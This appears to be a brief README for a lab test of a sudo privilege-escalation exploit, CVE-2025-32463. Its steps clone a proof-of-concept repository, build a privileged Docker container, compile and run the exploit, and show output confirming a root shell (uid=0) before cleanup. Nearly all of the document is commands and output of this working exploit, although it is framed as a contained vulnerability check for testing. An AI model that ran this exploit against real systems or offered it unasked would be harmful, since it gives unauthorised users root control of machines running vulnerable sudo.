Quick vulnerability check

# Vulnerable sudo

Test exploit in Docker container

# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh passes --privileged and --rm to Docker so the container cleans itself up when you exit.

Clean Up

Remove the image when you’re done:

docker rmi vpr-chwoot
